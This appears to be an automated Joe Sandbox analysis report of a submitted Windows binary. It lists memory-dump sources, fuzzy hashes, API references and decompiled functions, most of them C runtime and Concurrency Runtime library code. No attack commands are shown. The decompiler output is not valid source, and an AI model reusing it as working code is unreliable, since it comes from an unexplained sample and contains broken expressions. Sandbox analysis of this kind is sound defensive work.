__CxxThrowException@8.LIBCMT ref: 00CCD00C

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Concurrency::details::Context$Base::$Internal$Scheduler$AvailableBlockingDeferredException@8ExternalFindLeaveMakeNestingPrepareProcessor::PushThrowVirtualWork
String ID:
API String ID: 2737591251-0
Opcode ID: feea1dcf7ed5197c83d2b98234b3f99458393c13e7786c9c81161db144567d50
Instruction ID: 5932a38a26d2e5ace7731ddc6e53609d282a0928a358561df62d5530db8d8076
Opcode Fuzzy Hash: feea1dcf7ed5197c83d2b98234b3f99458393c13e7786c9c81161db144567d50
Instruction Fuzzy Hash: 47F0F631A0052827CA11B669C412E7DF2698F80710F04416FF91553252EF708F1557C6

Uniqueness

Uniqueness Score: -1.00%

Function 00B6E1D5 Relevance: 6.0, APIs: 4, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 21%

			E00B6E1D5(void* __ecx) {
				intOrPtr _t5;
				int _t9;
				void* _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				void* _t15;
				void* _t17;
				intOrPtr* _t19;

				_t15 = __ecx;
				_t5 =  *((intOrPtr*)( *0xcee80c))(0xb); // executed
				 *((intOrPtr*)(__ecx + 8)) = _t5;
				 *((intOrPtr*)(_t15 + 0xc)) = GetSystemMetrics(0xc);
				 *0xd6b3a8 = GetSystemMetrics(2) + 1;
				_t9 = GetSystemMetrics(3);
				 *0xd6b3ac = _t9 + 1;
				_t11 =  *0xcee808(0);
				_t19 =  *0xcee184; // 0x740bad70
				_t17 = _t11;
				_t12 =  *_t19(_t17, 0x58);
				 *((intOrPtr*)(_t15 + 0x18)) = _t12;
				_t13 =  *_t19(_t17, 0x5a);
				 *((intOrPtr*)(_t15 + 0x1c)) = _t13;
				return  *0xcee804(0, _t17);
			}

0x00b6e1dd
0x00b6e1e2
0x00b6e1e6
0x00b6e1ed
0x00b6e1f5
0x00b6e1fa
0x00b6e1ff
0x00b6e204
0x00b6e20a
0x00b6e210
0x00b6e215
0x00b6e21a
0x00b6e21d
0x00b6e222
0x00b6e22e

APIs

KiUserCallbackDispatcher.NTDLL(0000000B), ref: 00B6E1E2
GetSystemMetrics.USER32(0000000C), ref: 00B6E1E9
GetSystemMetrics.USER32(00000002), ref: 00B6E1F0
GetSystemMetrics.USER32(00000003), ref: 00B6E1FA

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: MetricsSystem$CallbackDispatcherUser
String ID:
API String ID: 4241121291-0
Opcode ID: b8d74a0fb3c308a482fc1bffe2de7593b5bff56f65fc60d9c2e90920246b2366
Instruction ID: 997e287b9d1087518d69f06032d874bf2e372ffdbf339288de5de957224a0bed
Opcode Fuzzy Hash: b8d74a0fb3c308a482fc1bffe2de7593b5bff56f65fc60d9c2e90920246b2366
Instruction Fuzzy Hash: 7AF01D70E40354AEEB105F759C8DB2B3FA4EB41B61F104057EA04DF2D1D6B488408FE0

Uniqueness

Uniqueness Score: -1.00%

Function 00CCF3B3 Relevance: 6.0, APIs: 4, Instructions: 32
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 00CD3DDC
Concurrency::details::_NonReentrantLock::_Acquire.LIBCMT ref: 00CD3DE9
Concurrency::details::Etw::Etw.LIBCMT ref: 00CD3E09
Concurrency::details::Etw::RegisterGuids.LIBCMT ref: 00CD3E2F

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Concurrency::details::Etw::$AcquireConcurrency::details::_GuidsH_prolog3Lock::_ReentrantRegister
String ID:
API String ID: 3171971413-0
Opcode ID: 26c1e18fcfa8abb49252c35a30a8f521ab2b19d9f8d8be46d99145a343871c0b
Instruction ID: 863f5af710c94691a3964d2083bb5e71e7ee9a45f3cb6c22ec228c60585e5612
Opcode Fuzzy Hash: 26c1e18fcfa8abb49252c35a30a8f521ab2b19d9f8d8be46d99145a343871c0b
Instruction Fuzzy Hash: 81F0BE60784344ABDB04EB688807B6926916740746F00412FA2049A3C2EFB98B84B72E

Uniqueness

Uniqueness Score: -1.00%

Function 00CC7F7F Relevance: 6.0, APIs: 4, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

GetNumaHighestNodeNumber.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00CCAC3F,0000FFFF,00000000,?,00000000), ref: 00CC7F89
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,00CCAC3F,0000FFFF,00000000,?,00000000,?), ref: 00CC7F93
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCMT ref: 00CC7FB2
__CxxThrowException@8.LIBCMT ref: 00CC7FC0

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8HighestLastNodeNumaNumberThrow
String ID:
API String ID: 3016159387-0
Opcode ID: c2fd56ba9f2acf0509cd9d9f7a61cba3581af099b86144966679e9ea20d17a28
Instruction ID: aed70612d7a012f89ab09b9d6bd392bf54754b7fafd396a50aad31a53db1b3df
Opcode Fuzzy Hash: c2fd56ba9f2acf0509cd9d9f7a61cba3581af099b86144966679e9ea20d17a28
Instruction Fuzzy Hash: 15E092345041499B8B10EBF5DA8AFAE73AC9A00301B600269F815D2141EA34DA089BA3

Uniqueness

Uniqueness Score: -1.00%

Function 00CC8F3E Relevance: 4.6, APIs: 3, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00CC8FA6
Concurrency::details::_NonReentrantLock::_Acquire.LIBCMT ref: 00CC8FB3

Part of subcall function 00CC84FA: _SpinWait.LIBCMT ref: 00CC851A

Concurrency::details::ResourceManager::ResourceManager.LIBCMT ref: 00CC9006

Part of subcall function 00B6BC90: _malloc.LIBCMT ref: 00B6BCAC

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Resource$AcquireConcurrency::details::Concurrency::details::_H_prolog3Lock::_ManagerManager::ReentrantSpinWait_malloc
String ID:
API String ID: 4174107958-0
Opcode ID: 2926074afb9441211f4b0cac5885c43f40feaea0fdaf14d7e2d030bf4bfb84d3
Instruction ID: c2bf2d96d601097857d75c1d890b0dce25bada624b319b28590017b402b78a1f
Opcode Fuzzy Hash: 2926074afb9441211f4b0cac5885c43f40feaea0fdaf14d7e2d030bf4bfb84d3
Instruction Fuzzy Hash: A901DE30A053158BEB14EBB9D905B1EA7E0AB1C300F6000ADE109EB383EE348F45A769

Uniqueness

Uniqueness Score: -1.00%

Function 00C84AE2 Relevance: 4.5, APIs: 3, Instructions: 20fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,00B084B1,00CF3C14,00CF2A88,00000028), ref: 00C84AE8
GetLastError.KERNEL32(?,00B084B1,00CF3C14,00CF2A88,00000028), ref: 00C84AF2
__dosmaperr.LIBCMT ref: 00C84B01

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: DeleteErrorFileLast__dosmaperr
String ID:
API String ID: 1545401867-0
Opcode ID: f30db265fd017efa875a5395bfbc931ee22e1bad9753ddc8b9302199d9fa25fc
Instruction ID: 0f4ad8fc9905f965f644c5673e42de0503d19ff54bf0171c5d933d4f1c100963
Opcode Fuzzy Hash: f30db265fd017efa875a5395bfbc931ee22e1bad9753ddc8b9302199d9fa25fc
Instruction Fuzzy Hash: 52D09E312546465A9A193BF6AC04A6A3BAC9A003A93144565F429C81E1EB61C950A669

Uniqueness

Uniqueness Score: -1.00%

Function 00B05071 Relevance: 3.1, APIs: 2, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00B05071(intOrPtr* __ecx, void* __eflags) {
				intOrPtr _t37;
				intOrPtr _t42;
				intOrPtr _t47;
				signed short _t48;
				signed short _t53;
				signed int _t58;
				signed int _t60;
				signed int _t63;
				intOrPtr _t64;
				intOrPtr* _t70;
				signed int _t71;
				signed int _t72;
				void* _t73;

				0xc81539(0x1c);
				_t70 = __ecx;
				 *((intOrPtr*)(_t73 - 0x18)) = __ecx;
				_push(__ecx);
				 *(_t73 - 0x1c) = 0;
				 *((char*)(_t73 - 0x11)) = 0;
				E00B0484F(_t73 - 0x28);
				 *((intOrPtr*)(_t73 - 4)) = 0;
				if( *((intOrPtr*)(_t73 - 0x24)) == 0) {
					_t58 = 0;
					goto L12;
				} else {
					_t47 =  *((intOrPtr*)(_t73 + 8));
					if(_t47 == 0) {
						L10:
						_t58 =  *(_t73 - 0x1c);
						L12:
						_t71 = 4;
					} else {
						_t63 = 0xffff;
						_t72 = 0xffff;
						while(1) {
							 *((char*)(_t73 - 4)) = 1;
							_t64 = _t47;
							if(_t63 != _t72) {
								_t48 = E00B0ACB0(_t64);
							} else {
								_t48 = E00B0AC8D(_t64);
							}
							_t72 = _t48 & 0x0000ffff;
							 *((intOrPtr*)(_t73 - 4)) = 0;
							 *(_t73 - 0x20) = _t72;
							if(0xffff == _t72) {
								goto L10;
							}
							 *((char*)(_t73 - 4)) = 3;
							_t53 = E00B0AD38( *((intOrPtr*)( *((intOrPtr*)( *_t70 + 4)) + _t70 + 0x38)), _t72); // executed
							_t63 = 0xffff;
							if(0xffff != (_t53 & 0x0000ffff)) {
								_t47 =  *((intOrPtr*)(_t73 + 8));
								 *((intOrPtr*)(_t73 - 4)) = 0;
								 *((char*)(_t73 - 0x11)) = 1;
								continue;
							} else {
								_t71 = 4;
								_t58 =  *(_t73 - 0x1c) | _t71;
								 *((char*)(_t73 - 4)) = 0;
							}
							goto L13;
						}
						goto L10;
					}
				}
				L13:
				_t37 =  *((intOrPtr*)( *_t70 + 4));
				 *((intOrPtr*)(_t37 + _t70 + 0x20)) = 0;
				 *((intOrPtr*)(_t37 + _t70 + 0x24)) = 0;
				_t59 =  ==  ? _t58 | 0x00000002 : _t58;
				_t60 =  ==  ? _t71 :  ==  ? _t58 | 0x00000002 : _t58;
				_t42 =  *((intOrPtr*)( *_t70 + 4)) + _t70;
				 *((intOrPtr*)(_t73 + 8)) = _t42;
				if(_t60 != 0) {
					_t69 =  ==  ?  *(_t42 + 0xc) | _t60 | _t71 :  *(_t42 + 0xc) | _t60;
					_t42 = E00B077A4( *((intOrPtr*)(_t73 + 8)),  ==  ?  *(_t42 + 0xc) | _t60 | _t71 :  *(_t42 + 0xc) | _t60, 0);
				}
				E00B04F71(_t42, _t73 - 0x28);
				0xc8149e();
				return _t70;
			}

0x00b05078
0x00b0507d
0x00b0507f
0x00b05087
0x00b05088
0x00b0508b
0x00b0508e
0x00b05093
0x00b05099
0x00b05190
0x00000000
0x00b0509f
0x00b0509f
0x00b050a4
0x00b0518b
0x00b0518b
0x00b05192
0x00b05194
0x00b050aa
0x00b050aa
0x00b050af
0x00b050b1
0x00b050b4
0x00b050b8
0x00b050ba
0x00b050c3
0x00b050bc
0x00b050bc
0x00b050bc
0x00b050cb
0x00b050cd
0x00b050d5
0x00b050db
0x00000000
0x00000000
0x00b050e4
0x00b050ef
0x00b050f7
0x00b050ff
0x00b0514d
0x00b05150
0x00b05153
0x00000000
0x00b05101
0x00b05106
0x00b05107
0x00b05109
0x00b05109
0x00000000
0x00b050ff
0x00000000
0x00b050b1
0x00b050a4
0x00b05195
0x00b05197
0x00b0519a
0x00b0519e
0x00b051ab
0x00b051b4
0x00b051ba
0x00b051bc
0x00b051c1
0x00b051d3
0x00b051d7
0x00b051d7
0x00b051df
0x00b051e6
0x00b051eb

APIs

__EH_prolog3_catch.LIBCMT ref: 00B05078

Part of subcall function 00B0484F: __EH_prolog3.LIBCMT ref: 00B04856

std::ios_base::clear.LIBCPMT ref: 00B051D7

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: H_prolog3H_prolog3_catchstd::ios_base::clear
String ID:
API String ID: 1834360608-0
Opcode ID: 964728908f9625a7ec826b00ebfe2011a30e094c0d64de376bdce861ba708d46
Instruction ID: fca41670ea2b6e9a2921c1149d6afa33eb11027aba3b552dbbf37e8839aef787
Opcode Fuzzy Hash: 964728908f9625a7ec826b00ebfe2011a30e094c0d64de376bdce861ba708d46
Instruction Fuzzy Hash: FA318070A04245EFDB24DF68C490ABEBFE1AF44300F5480AEE546AB681DB70CD45DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00B03949 Relevance: 3.1, APIs: 2, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 35%

			E00B03949(intOrPtr* __ecx) {
				void* _t32;
				intOrPtr* _t43;
				intOrPtr* _t51;
				void* _t52;

				0xc814d0(8);
				_t51 = __ecx;
				 *((intOrPtr*)(_t52 - 0x14)) = __ecx;
				 *((intOrPtr*)(_t52 - 0x10)) = 0;
				_t53 =  *((intOrPtr*)(_t52 + 0x14));
				if( *((intOrPtr*)(_t52 + 0x14)) != 0) {
					 *__ecx = 0xcf3bcc;
					 *((intOrPtr*)(__ecx + 0x70)) = 0xcf2c2c;
					 *((intOrPtr*)(_t52 - 4)) = 0;
					 *((intOrPtr*)(_t52 - 0x10)) = 1;
				}
				_push(0);
				_push(0);
				_t50 = _t51 + 0x10;
				_push(_t51 + 0x10); // executed
				E00B03AEB(_t51); // executed
				 *((intOrPtr*)(_t52 - 4)) = 1;
				 *((intOrPtr*)(_t51 +  *((intOrPtr*)( *_t51 + 4)))) = 0xcf3bc8;
				_t12 =  *((intOrPtr*)( *_t51 + 4)) - 0x70; // -111
				 *((intOrPtr*)( *((intOrPtr*)( *_t51 + 4)) + _t51 - 4)) = _t12;
				E00B03910(_t51 + 0x10, _t53, 0);
				_t43 =  *((intOrPtr*)(_t52 + 8));
				 *((char*)(_t52 - 4)) = 2;
				if( *((intOrPtr*)(_t43 + 0x14)) >= 8) {
					_t43 =  *_t43;
				}
				_push( *((intOrPtr*)(_t52 + 0x10)));
				_push( *(_t52 + 0xc) | 0x00000001);
				_push(_t43);
				_t32 = E00B09AAE(_t50); // executed
				if(_t32 == 0) {
					_t49 =  ==  ?  *( *((intOrPtr*)( *_t51 + 4)) + _t51 + 0xc) | 6 :  *( *((intOrPtr*)( *_t51 + 4)) + _t51 + 0xc) | 0x00000002;
					E00B077A4( *((intOrPtr*)( *_t51 + 4)) + _t51,  ==  ?  *( *((intOrPtr*)( *_t51 + 4)) + _t51 + 0xc) | 6 :  *( *((intOrPtr*)( *_t51 + 4)) + _t51 + 0xc) | 0x00000002, 0);
				}
				0xc8149e();
				return _t51;
			}

0x00b03950
0x00b03955
0x00b03957
0x00b0395c
0x00b0395f
0x00b03962
0x00b03964
0x00b0396a
0x00b03971
0x00b03974
0x00b03974
0x00b0397b
0x00b0397c
0x00b0397d
0x00b03982
0x00b03983
0x00b0398b
0x00b03995
0x00b039a1
0x00b039a4
0x00b039aa
0x00b039af
0x00b039b2
0x00b039ba
0x00b039bc
0x00b039bc
0x00b039be
0x00b039c7
0x00b039c8
0x00b039cb
0x00b039d2
0x00b039ea
0x00b039ee
0x00b039ee
0x00b039f5
0x00b039fa

APIs

__EH_prolog3.LIBCMT ref: 00B03950
std::ios_base::clear.LIBCPMT ref: 00B039EE

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: H_prolog3std::ios_base::clear
String ID:
API String ID: 973902081-0
Opcode ID: da90b749e8ff8c2a1fa6894166bd1945ef6e262f2224aea59e46165d7ef30ed8
Instruction ID: b985b4ccc32be029443e82b7c11a7eb3dee1bf38185b5de9882f8b846bda37be
Opcode Fuzzy Hash: da90b749e8ff8c2a1fa6894166bd1945ef6e262f2224aea59e46165d7ef30ed8
Instruction Fuzzy Hash: 67213DB0600204DFDB14DF68C58596EBBE9FF84708B14889DE4869B382C7B1DE02CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00B03B57 Relevance: 3.1, APIs: 2, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 32%

			E00B03B57(intOrPtr* __ecx) {
				void* _t31;
				intOrPtr* _t48;
				void* _t50;

				0xc814d0(8);
				_t48 = __ecx;
				 *((intOrPtr*)(_t50 - 0x14)) = __ecx;
				 *((intOrPtr*)(_t50 - 0x10)) = 0;
				_t51 =  *((intOrPtr*)(_t50 + 0x14));
				if( *((intOrPtr*)(_t50 + 0x14)) != 0) {
					 *__ecx = 0xcf3bdc;
					 *((intOrPtr*)(__ecx + 0x60)) = 0xcf2c2c;
					 *((intOrPtr*)(_t50 - 4)) = 0;
					 *((intOrPtr*)(_t50 - 0x10)) = 1;
				}
				_push(0);
				_push(0);
				_push(_t48 + 4);
				E00B03C02(_t48);
				 *((intOrPtr*)(_t50 - 4)) = 1;
				 *((intOrPtr*)(_t48 +  *((intOrPtr*)( *_t48 + 4)))) = 0xcf3bd8;
				_t12 =  *((intOrPtr*)( *_t48 + 4)) - 0x60; // -95
				 *((intOrPtr*)( *((intOrPtr*)( *_t48 + 4)) + _t48 - 4)) = _t12;
				E00B03910(_t48 + 4, _t51, 0);
				_push( *((intOrPtr*)(_t50 + 0x10)));
				 *((char*)(_t50 - 4)) = 2;
				_push( *(_t50 + 0xc) | 0x00000002);
				_push( *((intOrPtr*)(_t50 + 8)));
				_t31 = E00B09AAE(_t48 + 4); // executed
				if(_t31 == 0) {
					_t47 =  ==  ?  *( *((intOrPtr*)( *_t48 + 4)) + _t48 + 0xc) | 6 :  *( *((intOrPtr*)( *_t48 + 4)) + _t48 + 0xc) | 0x00000002;
					E00B077A4( *((intOrPtr*)( *_t48 + 4)) + _t48,  ==  ?  *( *((intOrPtr*)( *_t48 + 4)) + _t48 + 0xc) | 6 :  *( *((intOrPtr*)( *_t48 + 4)) + _t48 + 0xc) | 0x00000002, 0);
				}
				0xc8149e();
				return _t48;
			}

0x00b03b5e
0x00b03b63
0x00b03b65
0x00b03b6a
0x00b03b6d
0x00b03b70
0x00b03b72
0x00b03b78
0x00b03b7f
0x00b03b82
0x00b03b82
0x00b03b89
0x00b03b8a
0x00b03b90
0x00b03b91
0x00b03b99
0x00b03ba3
0x00b03baf
0x00b03bb2
0x00b03bb8
0x00b03bbd
0x00b03bc8
0x00b03bcc
0x00b03bcd
0x00b03bd0
0x00b03bd7
0x00b03bef
0x00b03bf3
0x00b03bf3
0x00b03bfa
0x00b03bff

APIs

__EH_prolog3.LIBCMT ref: 00B03B5E
std::ios_base::clear.LIBCPMT ref: 00B03BF3

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: H_prolog3std::ios_base::clear
String ID:
API String ID: 973902081-0
Opcode ID: 32b661996e7b6c2f7d2f2868ee312a2d40bda5e210efee02ac5788f80fd40712
Instruction ID: e1833a849223c4f1967f95c94ba8190f5ba048740b8ad44a61c3f4f1efe11b94
Opcode Fuzzy Hash: 32b661996e7b6c2f7d2f2868ee312a2d40bda5e210efee02ac5788f80fd40712
Instruction Fuzzy Hash: 47114FB0700249AFDB05DF58C985A6EBBE9FF84308B548499E905AB342D771DE12CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00C84D19 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00C89047: __getptd_noexit.LIBCMT ref: 00C89047

__lock_file.LIBCMT ref: 00C84D5E

Part of subcall function 00C86007: __lock.LIBCMT ref: 00C8602A

__fclose_nolock.LIBCMT ref: 00C84D69

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 0d83415efc81ebaca4605e591757b02a3944ea82ed08df05fed98f8419e00c5d
Instruction ID: 81e1238ee618965e63688eb2c31baa5d4042c51f35dc6da9a77ed660f954cc45
Opcode Fuzzy Hash: 0d83415efc81ebaca4605e591757b02a3944ea82ed08df05fed98f8419e00c5d
Instruction Fuzzy Hash: 09F0B4718017029ADB15BB76C802B6E77D06F4133CF26824AE434AB1C2CB7C8902BB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00CCD42E Relevance: 3.0, APIs: 2, Instructions: 16threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00CD1C59: std::bad_exception::bad_exception.LIBCMT ref: 00CD1C90
Part of subcall function 00CD1C59: __CxxThrowException@8.LIBCMT ref: 00CD1C9E

Concurrency::details::SchedulerBase::CheckStaticConstruction.LIBCMT ref: 00CCD439

Part of subcall function 00CCD159: __EH_prolog3.LIBCMT ref: 00CCD160
Part of subcall function 00CCD159: Concurrency::details::_NonReentrantLock::_Acquire.LIBCMT ref: 00CCD16D

Concurrency::details::ThreadScheduler::Create.LIBCMT ref: 00CCD441

Part of subcall function 00CD83B7: __EH_prolog3.LIBCMT ref: 00CD83BE
Part of subcall function 00CD83B7: Concurrency::details::ThreadScheduler::ThreadScheduler.LIBCMT ref: 00CD83DF

Memory Dump Source

